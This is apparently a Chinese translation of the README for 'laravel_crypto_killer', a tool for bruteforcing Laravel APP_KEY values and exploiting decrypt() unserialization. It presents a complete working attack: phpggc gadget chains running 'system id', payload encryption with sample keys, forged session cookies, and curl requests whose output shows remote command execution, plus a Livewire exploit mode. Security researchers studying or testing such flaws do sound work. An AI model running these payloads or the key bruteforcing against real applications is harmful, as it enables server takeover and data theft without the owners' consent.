Laravel crypto killer

一款旨在利用 Laravel 应用中解密机制错误实现的工具。

该工具最初设计用于针对 Illuminate\Encryption 包中 Laravel decrypt() 函数构造 payload。

它也可以用于解密通过 encrypt() 或 encryptString() 加密的任何数据。

该工具需要有效的 APP_KEY 才能使用；如果你认为可能存在密钥重用（例如来自公共项目），也可以尝试暴力破解。

工具作者：@_remsio_ @Kainx42。

用法

每个选项都可以使用帮助信息来操作该工具：

$ ./laravel_crypto_killer.py -h
usage: laravel_crypto_killer.py [-h] {exploit,encrypt,decrypt,bruteforce} ...

 ___                                _       ___                    _             __       _   _              
(O O)                              (_ )    ( O_`\                 ( )_          ( O)    _(_ )(_ )            
 | |      _ _ _ __  _ _ _   _   __  | |    | ( (_)_ __ _   _ _ _  | ,_)  _      |  |/')(_)| | | |   __  _ __ 
 | |    /'_` ( '__/'_` ( ) ( )/'__`\| |    | |  _( '__( ) ( ( '_`\| |  /'_`\    |  , < | || | | | /'__`( __')
<  |__ ( (_| | | ( (_| | \_/ (  ___/| |   <  (_( | |  | (_) | (_) | |_( (_) )  <  | \`\| || | | |(  ___| |   
<_____/`\__,_(_) `\__,_`\___/`\____(___)  <_____/(_)  `\__, | ,__/`\__`\___/'  <__)  (_(_(___(___`\____(_)   
                                                     ( )_| | |                                             
                                                     `\___/(_)                                             
        This tool was firstly designed to craft payload targetting the Laravel decrypt() function from the package Illuminate\Encryption.
        
        It can also be used to decrypt any data encrypted via encrypt() or encryptString().

        The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example.

        Authors of the tool : @_remsio_, @Kainx42
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        

options:
  -h, --help            show this help message and exit

subcommands:
  You can use the option -h on each subcommand to get more info

  {exploit,encrypt,decrypt,bruteforce}
    exploit             Exploit mode
    encrypt             Encrypt mode
    decrypt             Decrypt mode
    bruteforce          Bruteforce potential values of APP_KEY. By default, all the values from the folder wordlists will be loaded.

$ ./laravel_crypto_killer.py encrypt -h
usage: laravel_crypto_killer.py encrypt [-h] [--key KEY] --value VALUE

optional arguments:
  -h, --help            show this help message and exit
  --key KEY, -k KEY     Key used by Laravel stored in APP_KEY in .env
  --value VALUE, -v VALUE
                        Value of the string data you want to laravel cipher (it has to be base64 encoded!). The place where you put a gadget chain from phpggc basically.
  --session_cookie SESSION_COOKIE, -sc SESSION_COOKIE
                        Add this option to format the ciphered value to exploit a Laravel Session Cookie (option SESSION_DRIVER=cookie). it should be a 40 character long hex chain

工具目标

Illuminate\Encryption 中的 decrypt 函数在 Laravel 应用中经常被使用。默认情况下，它处理序列化数据，并使用存储在 APP_KEY 中的 Laravel 密钥对其进行加密。

namespace Illuminate\Encryption;
[...]
public function decrypt($payload, $unserialize = true)
    {
        $payload = $this->getJsonPayload($payload);

        $iv = base64_decode($payload['iv']);

        $decrypted = \openssl_decrypt(
            $payload['value'], $this->cipher, $this->key, 0, $iv
        );

        if ($decrypted === false) {
            throw new DecryptException('Could not decrypt the data.');
        }

        return $unserialize ? unserialize($decrypted) : $decrypted;
    }

目前 Laravel 的政策是不修补 gadget 链。

因此，能够向 decrypt 函数发送数据并持有应用密钥的用户，将能够在 Laravel 应用上获得远程命令执行能力。

示例中使用的环境

可以使用以下控制器来测试该工具：

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Http\Response;

class EncryptController extends Controller
{
    public function encrypt(string $toencrypt): Response
    {
        $result = encrypt($toencrypt);
        return response($result, 200);
    }


    public function decrypt(string $todecrypt): Response
    {
        $result = decrypt($todecrypt);
        return response($result, 200);
    }
}

解密

通过使用 APP_KEY 的值，可以使用 laravel_crypto_killer 解密数据。

首先，获取来自 encrypt 函数的值。

$ curl http://localhost/encrypt/aaa
eyJpdiI6IkczTHpUZkNHWk4yUnFUSjFrM2Q1WkE9PSIsInZhbHVlIjoiS1RLRXJRd01wTDJvZFZmbzl5SkFPQT09IiwibWFjIjoiMTFhZDJiM2Y2NDMzNjViMzNjMjg5MGI2ZTZlNTZkZjY2NTE0ZDhiMTc5ZmU0MGZiMDc5NzU4YWI0YTcxNTAwZSIsInRhZyI6IiJ9

如果你持有有效的 APP_KEY，就可以解密它。

$ ./laravel_crypto_killer.py decrypt -k CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA= -v eyJpdiI6IkczTHpUZkNHWk4yUnFUSjFrM2Q1WkE9PSIsInZhbHVlIjoiS1RLRXJRd01wTDJvZFZmbzl5SkFPQT09IiwibWFjIjoiMTFhZDJiM2Y2NDMzNjViMzNjMjg5MGI2ZTZlNTZkZjY2NTE0ZDhiMTc5ZmU0MGZiMDc5NzU4YWI0YTcxNTAwZSIsInRhZyI6IiJ9
[+] Unciphered value identified!
[*] Unciphered value
s:3:"aaa";
[*] Base64 encoded unciphered version
b'czozOiJhYWEiOwYGBgYGBg=='
[+] Matched serialized data in results! It's time to exploit unserialization to get RCE mate!

利用示例

如果在解密结果中识别出序列化数据，你很可能能够获得远程命令执行。为此，请使用由 Charles Fol 开发的 phpggc 来生成 gadget 链。最好尽量匹配所使用的 PHP 版本。

$ php7.4 phpggc Laravel/RCE9 system id -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=

然后你可以使用此值，用 laravel_crypto_killer 加密它，最后将其发送到服务器以获得 RCE！

$ ./laravel_crypto_killer.py encrypt -k CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJZdk56TDUvdlNkaUJMRU1sdGdSREpRPT0iLCAidmFsdWUiOiAiZjFjMGhnRkY3OHI4ejArVWxRb2RNVE04OVAzdGFhR2wvYzFHdDdxZFEzeEVSVHUxVzQ1dVdUSis4aUp3VkJqNjNrRzJGaFVuVk4vT0FQRFEwWkRIMnBJMU53ZG5SeG1OMk9Lbzh4aFZ4L2RuSHA5clVIdUtBZDJPakdvd3hPbjI4VDc4WXJkd0Y1SzQ2bFNjRzVzb3RuT0FkNExmbjRHMG54cnJHYUtGc1FhejhOUzlDbWtoQ2V2T1Nxb0drZWZnSVhLUXUrL3FGU2JYaXNjaEdTYkZtbDJSZmxvUXBieGFoWEduOXVidG9KcUJpcjlyOTJWdElTYTQwSysvZG9ZRXNMRElTUU5BZG1IT1kvK0ZCRE5Sbmt6ZlU1ZFh6VTRDQ3M3aVNEanJPSm9sTUxZK1pRVE02L0w2cWxJSmZQUCtya1JHd2RadVB6ckxKOXk2RExtdWxDRkczTXFTQzVxLzVRTkRkSkJpMG9XMTl0WjVwRmJGdWtFTklhbFM3cjM3S2IyUVd1eVgyd2pPcVJCVXQ4NDJVMjIveW13MWV5ZWxHUHR0VWlaRkdWaVoyd3RidndIRnVnTDJrTUVCMkpDaSIsICJtYWMiOiAiMTIyZjBhOWRhMmRjOTk1MWY4MWNkMWQyOWYxZjdjYzQ5ZDEzYWIwMzcwZjY4ZWY5MWI5OWQ4YTg2MjlhNTI3OCIsICJ0YWciOiAiIn0=

$ curl -s http://localhost/decrypt/eyJpdiI6ICJZdk56TDUvdlNkaUJMRU1sdGdSREpRPT0iLCAidmFsdWUiOiAiZjFjMGhnRkY3OHI4ejArVWxRb2RNVE04OVAzdGFhR2wvYzFHdDdxZFEzeEVSVHUxVzQ1dVdUSis4aUp3VkJqNjNrRzJGaFVuVk4vT0FQRFEwWkRIMnBJMU53ZG5SeG1OMk9Lbzh4aFZ4L2RuSHA5clVIdUtBZDJPakdvd3hPbjI4VDc4WXJkd0Y1SzQ2bFNjRzVzb3RuT0FkNExmbjRHMG54cnJHYUtGc1FhejhOUzlDbWtoQ2V2T1Nxb0drZWZnSVhLUXUrL3FGU2JYaXNjaEdTYkZtbDJSZmxvUXBieGFoWEduOXVidG9KcUJpcjlyOTJWdElTYTQwSysvZG9ZRXNMRElTUU5BZG1IT1kvK0ZCRE5Sbmt6ZlU1ZFh6VTRDQ3M3aVNEanJPSm9sTUxZK1pRVE02L0w2cWxJSmZQUCtya1JHd2RadVB6ckxKOXk2RExtdWxDRkczTXFTQzVxLzVRTkRkSkJpMG9XMTl0WjVwRmJGdWtFTklhbFM3cjM3S2IyUVd1eVgyd2pPcVJCVXQ4NDJVMjIveW13MWV5ZWxHUHR0VWlaRkdWaVoyd3RidndIRnVnTDJrTUVCMkpDaSIsICJtYWMiOiAiMTIyZjBhOWRhMmRjOTk1MWY4MWNkMWQyOWYxZjdjYzQ5ZDEzYWIwMzcwZjY4ZWY5MWI5OWQ4YTg2MjlhNTI3OCIsICJ0YWciOiAiIn0= | head -n 1
uid=1337(sail) gid=1000(sail) groups=1000(sail)

暴力破解模式

为了识别应用上的有效 APP_KEY，可以使用多个字典来尝试猜出 Laravel 实例的密钥。

默认情况下，XSRF-TOKEN 和 laravel_session Cookie 都基于 encrypt 函数，可用于执行暴力破解尝试。

检查模式

你可以使用以下命令轻松检查 APP_KEY 对某个 URL 是否有效：

$ ./laravel_crypo_killer.py check https://www.example.com ko0ziOprodjT9TOcW3/CP2vyA3pjaRzz0ANa1uiCPU0=
[+] Cookies decrypted:
    * XSRF-TOKEN
    * example_session

如果 SESSION_DRIVER 设置为 cookie，laravel_crypto_killer 提供一个选项，可以正确格式化会话 Cookie 以便利用。

要利用此类漏洞，请获取 laravel_session 后面的那个 Cookie，在我们的例子中是 d6WRg1VnF4sWv47men3oo4zBKLylyACOTKGsggKp：

$ curl -I http://localhost/login
HTTP/1.1 200 OK
Server: nginx/1.17.10
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Cache-Control: no-cache, private
Date: Tue, 03 Sep 2024 11:36:39 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkdhT2luRFJtY2xFRTJrK0xNUXBpVnc9PSIsInZhbHVlIjoiWUoxdnVmVk5qTEU2d3E4Z3hHeE8yK3ZGNGVPRGtLaldoSXZFd1RhTUliOSs2a01PYmVKNTdiUEczak1TT2VtUXhrdTdUWUU1K201OFlzK0QzWmFHWUdFbnRkWkhsTVFNcExQb2o3UndweFMvVEN1SGVyZVZCWFdmSXhYTFVCa2UiLCJtYWMiOiJiNjhkNDgwZDI1NDRlMjkwNGJjNjk4NzU4ZDViOWUyOGIyMzMwZjEzODdmMGEyNWJjZjkyZjY0Zjk0ZGI0NDZkIiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 11:36:39 GMT; Max-Age=86400; path=/; domain=localhost; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IkxBODRMMTZXVCtQSnFTU0pQcGNjV2c9PSIsInZhbHVlIjoiQVo4c3VQUUdwb1VkZ3VvaTFnK21Jay9NaGlhZmlPSCtRWW1ObmZlY2xmT21RYnhOVk9IeitoeWdoQ3A4NGRMYWExM2JvQmFUZlJxaGZiSmRqK2UxN0pmWVpiWnZsWStnVENvV0VlZEFnSTdlT09sbU5DN2p6eU5vTkFoYlYyc0EiLCJtYWMiOiI1Mzg3YjZjZjM1ZmRiNGQ3M2QwZTBlNTI0ODg1NWFlODM1YjFkZGVlYWNlMjcwNWQ3Yjg5MWIzMDY4Mzc1MzI0IiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 11:36:39 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Set-Cookie: d6WRg1VnF4sWv47men3oo4zBKLylyACOTKGsggKp=eyJpdiI6Im5SNVYzVzZIa3B5WWR6ZnpLM0p4ZVE9PSIsInZhbHVlIjoiUTUvWm5RT3BIVzhlQ1dhclA3UnlqalBYMk9pZ0J3UHpDZmlKZy9nVTJkVThVUHJPbzdsanRHNUw2NVJ5Q1oxSERrSmdRcDErVGlUMDRBeGZVekoxaGQ1cGo2UFo1TzdPVmxhV2E2Yms3Wnl5dldFdHdxVUdBNUtoYUZUM054eEF3ZFFSZTY1MUtSSVBGY0pxbitZV0hiTytKeWUwR1RLODY2WjIyeHFQKzNWQllDUUw3enB0NzNoSXJxZUVXMVFmVVRqSmtTZ0NxM3k3TDk2cVUreThwa3BLa0dNMUJpZkhyUGdCUndKTUdaakRjSjhId0wyemZFS1A2c3oxTllhS0lxYzkwOTNJTzM3NTBqV2s1SjBUb3c9PSIsIm1hYyI6IjViYzg2MjMwNWY4Mjk3YjEzZmQwODY2YzdiMmFjMGIyZTEyNDY4Nzk3NzA2ZDM0N2ZjZWJhYWQyZTZmZDgwMmUiLCJ0YWciOiIifQ%3D%3D; expires=Wed, 04-Sep-2024 11:36:39 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax

然后解密该 Cookie 的值，它应包含一个哈希，后面跟着一个包含 PHP 序列化数据的 JSON 对象。

$ ./laravel_crypto_killer.py decrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v eyJpdiI6Im5SNVYzVzZIa3B5WWR6ZnpLM0p4ZVE9PSIsInZhbHVlIjoiUTUvWm5RT3BIVzhlQ1dhclA3UnlqalBYMk9pZ0J3UHpDZmlKZy9nVTJkVThVUHJPbzdsanRHNUw2NVJ5Q1oxSERrSmdRcDErVGlUMDRBeGZVekoxaGQ1cGo2UFo1TzdPVmxhV2E2Yms3Wnl5dldFdHdxVUdBNUtoYUZUM054eEF3ZFFSZTY1MUtSSVBGY0pxbitZV0hiTytKeWUwR1RLODY2WjIyeHFQKzNWQllDUUw3enB0NzNoSXJxZUVXMVFmVVRqSmtTZ0NxM3k3TDk2cVUreThwa3BLa0dNMUJpZkhyUGdCUndKTUdaakRjSjhId0wyemZFS1A2c3oxTllhS0lxYzkwOTNJTzM3NTBqV2s1SjBUb3c9PSIsIm1hYyI6IjViYzg2MjMwNWY4Mjk3YjEzZmQwODY2YzdiMmFjMGIyZTEyNDY4Nzk3NzA2ZDM0N2ZjZWJhYWQyZTZmZDgwMmUiLCJ0YWciOiIifQ%3D%3D
[+] Unciphered value identified!
[*] Unciphered value
57b910d166b2a034c861d4e61c4d8e584bbf9d19|{"data":"a:2:{s:6:\"_token\";s:40:\"R4TcbmmERkI6MHSPymWc0DkqJfA3hM87eTghuV73\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1725449799}
[*] Base64 encoded unciphered version
b'NTdiOTEwZDE2NmIyYTAzNGM4NjFkNGU2MWM0ZDhlNTg0YmJmOWQxOXx7ImRhdGEiOiJhOjI6e3M6NjpcIl90b2tlblwiO3M6NDA6XCJSNFRjYm1tRVJrSTZNSFNQeW1XYzBEa3FKZkEzaE04N2VUZ2h1VjczXCI7czo2OlwiX2ZsYXNoXCI7YToyOntzOjM6XCJvbGRcIjthOjA6e31zOjM6XCJuZXdcIjthOjA6e319fSIsImV4cGlyZXMiOjE3MjU0NDk3OTl9BwcHBwcHBw=='
[+] Matched serialized data in results! It's time to exploit unserialization to get RCE mate!

然后获取竖线 | 之前的哈希值，在前面的例子中是 57b910d166b2a034c861d4e61c4d8e584bbf9d19，并在重新加密 Cookie 时将其传递给 --session_cookie 选项以获得 RCE。它必须与未加密 Cookie 中的值匹配，否则利用将无法生效。

$ php8.2 phpggc Laravel/RCE15 'system' 'id' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0=
$ ./laravel_crypto_killer.py encrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= -sc=57b910d166b2a034c861d4e61c4d8e584bbf9d19
[+] Here is your laravel ciphered session cookie, happy hacking mate!
eyJpdiI6ICIzNkNNcDlLQ3JVU2ZEMTBxcDdWd1hRPT0iLCAidmFsdWUiOiAiRWlSdVNYeTFQdWh0MXRMcE1JaDluamtCMnE1YTFncHJTa2lPdXVCU2p2eXhQdmYydTdrbjlucGVsWm9hZ1VteEZDbkxiZ1BkVGxHQUU0K0FQL1JXUEFSbVpVV3BMOTdXeUdMTm9mcFVuTVo2QXg5U0w4OE9QZHkyaUk3cUU2SjN1RC9wZHJaVk8wbjlHMlNJYmhZbWtEelIyOEhVLzFMME1kd3hQUGpERURYbmZDQmtNcngxN0xYcWRpdmNzODU5SS9IMzZVcXMxaDJXT1ovNlhoc2NHeHBtQ2RTcHBFNi9yb0habElkNzBIRDRMaTd4V2FPZGpSNjJoVG5OTHRXYkpydVBJRk5hLzBuR1M2SUI5NkFKOXlUaHI1djdMMno0TE4rbHpOUHpRR0JKNDl3WDA0WU1DNEhpZHRhakd3bytRUkRPaEpNYkJBY0RjU0hTQ2hqZVBrTXlHQXJNZjdzaGF2c0UwRFQ0d2l6Tm1GdUVJM21ZQ3NpZnFwcExRWEVCZlpCUkRwNEFpNVFsdUMzTHpBNXh0M2FnMFBoZ1JvQTZlS0VsTzRqMG16WitqQVk4ZXljWUVsU09YcFF3NWZLcDBHdzRja1JSVVZsc3kzZmNOUnRzbktneXVzTVdQQWFCazJsWUhCcU44aTdEMzF1N1I4eWw5UU4zWW1sUnkrWXVRdFNadnFPbTExTWRkWDdaVHFQR3RtZEtrODFTNHVLYnJJRlhPandGSXc0eXdvV2xwRElHdk44VzNDditpZUJTVFpieTZmU092TUZzbXZMT0pJNjRZdWU0SGVmOWZrRmEwMXFnaG4yKzJkV2xpQ3l1blU5dmxqYWdPbGRxMktPWjgwMDhLL1ZGd1V4NU9uVktLRWFLb1ZBVjB5QlNGTjBpOW8xL2taTmVlNENoR0ZSMkxFQjV5TW5sSURiQ3dYZzhqN2xsZVNuTG5EZ0wyb283M3lQTXR4cHYvTk93WVBjLzgrd0l2d3NaM3VRbWF6NGVkWFd1Vk9WaEE0dWlPT0c2bWNEdEFtWmw4SUdsbS95bUU5eDVSN1ZKMjN0WmN1dmhvc1NXWmt2UVloMGJxbDdlRTk0a21JN0Z2a3dYUEFDSSIsICJtYWMiOiAiZDFlNmRiZWFhZTgzYjRiNTMxNGVmNTZjZDgyMDgyYmFkNjE3ZmI3MmIyNzhhOGJkZmZmOGJlMWI4MjA0ZmIzNCIsICJ0YWciOiAiIn0=

最后，使用这个链来获得远程命令执行。请注意，你还需要指定 laravel_session Cookie 的值，以及实际包含 payload 的 Cookie。在我们的例子中，payload 存储在 d6WRg1VnF4sWv47men3oo4zBKLylyACOTKGsggKp Cookie 中，而该 Cookie 在 laravel_session Cookie 中被引用。

$ curl -s -H 'Cookie:laravel_session=eyJpdiI6IkxBODRMMTZXVCtQSnFTU0pQcGNjV2c9PSIsInZhbHVlIjoiQVo4c3VQUUdwb1VkZ3VvaTFnK21Jay9NaGlhZmlPSCtRWW1ObmZlY2xmT21RYnhOVk9IeitoeWdoQ3A4NGRMYWExM2JvQmFUZlJxaGZiSmRqK2UxN0pmWVpiWnZsWStnVENvV0VlZEFnSTdlT09sbU5DN2p6eU5vTkFoYlYyc0EiLCJtYWMiOiI1Mzg3YjZjZjM1ZmRiNGQ3M2QwZTBlNTI0ODg1NWFlODM1YjFkZGVlYWNlMjcwNWQ3Yjg5MWIzMDY4Mzc1MzI0IiwidGFnIjoiIn0%3D;  d6WRg1VnF4sWv47men3oo4zBKLylyACOTKGsggKp=eyJp[...]]k0a21JN0Z2a3dYUmOGJlMWI4MjA0ZmIzNCIsICJ0YWciOiAiIn0=' http://localhost/login | head -n1
uid=1000(user) gid=1000(user) groups=1000(user),0(root),33(www-data)

利用模式

Livewire：

$ python3 laravel_crypto_killer.py exploit -e livewire -k 'base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA=' -j request.json --function system -p whoami
{...}

贡献

你有很棒的想法，或者遇到了意外行为？请通过提交 issue 或 pull request 告诉我们！ :)

免责声明

如果该工具被用于恶意目的，Synacktiv 概不负责；本工具仅供教育用途。

许可证

本项目基于 MIT 许可证授权 - 详情请参阅 LICENSE 文件。

laravel-crypto-killer

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